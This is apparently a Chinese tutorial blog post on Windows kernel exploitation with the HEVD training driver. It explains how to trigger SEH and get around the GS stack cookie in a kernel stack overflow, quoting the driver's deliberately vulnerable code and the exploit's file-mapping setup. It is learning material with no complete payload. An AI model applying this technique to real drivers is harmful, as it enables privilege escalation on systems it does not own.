WindowKernelExploit1.5

利用HEVD学习windows kernel exploit 正式篇1.5 StackOverflowGS


Window Kernel Exploit 01.5 - StackOverflowGS

这一篇和上一篇的技巧几乎一致,所以就咕咕咕不写EXP了(主要还是因为懒),不过可以介绍一下和内核相关的SEH利用技巧:

SEH with user mode

记得之前曾经写过一篇和SEH相关的文章:WindowsSEH
当时虽然写了一大串的利用方法,但是没写到关键上。形如如下的代码:

1
2
3
4
5
6
7
8
9
10
11
	__try {

char buffer[100];
for (int i = 0; i < 214; i++)
buffer[i] = 'C';
}
__except (EXCEPTION_EXECUTE_HANDLER) {
puts("Now we get exception....");
}

}

实际上是不会打印Now we get exception....这句话的。因为当Cookie被修改的时候,代码会陷入上文提到的int 29中断,这个中断会让程序直接终止,而不是去调用异常处理链。(可以这么理解:检查cookie这个过程实际上是发生在函数调用结束的时候,此时代码并没有被try...except包含,也就不会触发异常链。)如果想要实现劫持SEH链的目的,那么需要做到的其实是

在try…except包含的代码块中间直接抛出错误

在这类代码中可以通过写入大量数据做到:

1
2
3
4
5
6
   __try{
gets(buffer);
}
__except (EXCEPTION_EXECUTE_HANDLER) {
puts("Now we get exception....");
}

刚刚不是说了不能通过修改cookie触发SEH吗?

对的,这里并不是修改cookie,而实直接写爆栈:

user-mode 下,正确的触发SEH的姿势就是在gets的过程中,访问了不可访问的地址,从而抛出access deny的错误
此时,就能够通过修改SEH handler的方法来劫持程序流

SEH with kernel mode

然而在内核模式下,如果存在一个栈溢出的漏洞,却不能像用户空间那样玩。因为在内核中,如果访问了内核空间中不可访问的地址,那么会直接触发BSoD,并不会进入异常处理的逻辑中。那么这个时候要如何触发SEH呢?
对于这类特定的状况下,有一种处理方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
NTSTATUS StackOverflowGSIoctlHandler(IN PIRP Irp, IN PIO_STACK_LOCATION IrpSp) {
SIZE_T Size = 0;
PVOID UserBuffer = NULL;
NTSTATUS Status = STATUS_UNSUCCESSFUL;

UNREFERENCED_PARAMETER(Irp);
PAGED_CODE();

UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength;

if (UserBuffer) {
Status = TriggerStackOverflowGS(UserBuffer, Size);
}

return Status;
}

NTSTATUS TriggerStackOverflowGS(IN PVOID UserBuffer, IN SIZE_T Size) {
NTSTATUS Status = STATUS_SUCCESS;
UCHAR KernelBuffer[BUFFER_SIZE] = {0};

PAGED_CODE();

__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));

DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));

#ifdef SECURE
// Secure Note: This is secure because the developer is passing a size
// equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
// there will be no overflow
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
DbgPrint("[+] Triggering Stack Overflow (GS)\n");

// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
// because the developer is passing the user supplied size directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of KernelBuffer
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}

return Status;
}

如上,我们会发现,有漏洞的函数TriggerStackOverflowGS 所拷贝的UserBuffer实际上是来自于IrpSp->Parameters.DeviceIoControl.Type3InputBuffer。这个Type3InputBuffer实际上 是一个从用户态传来的指针。这个是由IRP控制的缓冲区,所以说不会触发SAMP。那么此时相当于说指针本身也是由我们控制的。

可以人为的创造出用户空间的访问异常,从而抛出异常。

此时可以利用CreateFileMappingMapViewOfFile。这两个API会向进程申请一段地址空间(保留一个地址空间的区域用来存放内存映射文件),并且将这段文件映射到地址空间上。这个过程其实和系统调用VirualAlloc类似,唯一不同的就是这个分配的过程我们是全程可控。那么在获取了映射的地址之后,我们可以修改本来指向分配在用户地址空间开头的指针,让其指向映射地址的结尾。这样在内核在调用RtlCopyMemory的时候,就能控制其访问到不可访问的地址,触发SEH

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// Create the shared memory
Sharedmemory = CreateFileMapping(INVALID_HANDLE_VALUE,
NULL,
PAGE_EXECUTE_READWRITE,
0,
PageSize,
SharedMemoryName);

if (!Sharedmemory) {
DEBUG_ERROR("\t\t\t[-] Failed To Create Shared Memory: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
DEBUG_INFO("\t\t\t[+] Shared Memory Handle: 0x%p\n", Sharedmemory);
}

DEBUG_INFO("\t\t[+] Mapping Shared Memory To Current Process Space\n");

// Map the shared memory in the process space of this process
SharedMappedMemoryAddress = MapViewOfFile(Sharedmemory,
FILE_MAP_ALL_ACCESS,
0,
0,
PageSize);

if (!SharedMappedMemoryAddress) {
DEBUG_ERROR("\t\t\t[-] Failed To Map Shared Memory: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
DEBUG_INFO("\t\t\t[+] Mapped Shared Memory: 0x%p\n", SharedMappedMemoryAddress);
}

SuitableMemoryForBuffer = (PVOID)((ULONG)SharedMappedMemoryAddress + (ULONG)(PageSize - SeHandlerOverwriteOffset));

触发SEH之后,就和普通的Buffer Overflow一样操作即可。